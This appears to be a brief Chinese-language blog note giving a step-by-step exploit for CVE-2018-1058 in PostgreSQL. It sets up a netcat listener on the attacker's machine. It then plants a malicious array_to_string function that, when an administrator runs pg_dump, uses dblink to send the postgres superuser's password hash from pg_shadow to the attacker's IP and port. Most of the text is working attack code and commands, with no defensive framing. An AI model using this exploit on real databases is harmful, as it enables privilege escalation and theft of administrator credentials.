【笔记】CVE-2018-1058漏洞利用

前言

利用CVE-2018-1058漏洞实现PostgreSQL提权
当管理员执行pg_dump备份数据库时,会自动触发由普通用户提前定义的Shell命令

漏洞利用前提

  • 9.3 <= PostgreSQL <= 11.x
  • 获得普通用户的用户名和密码

攻击者监听反弹Shell

1
nc -lvp <port_remote>

普通用户留下Shell命令

<ip_remote>:攻击者IP地址
<port_remote>:攻击者端口号

1
2
3
4
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
SELECT dblink_connect((select 'hostaddr=<ip_remote> port=<port_remote> user=postgres password=postgres sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

等待管理员进行数据库备份

1
postgres pg_dump -U postgres -f postgres.bak postgres

完成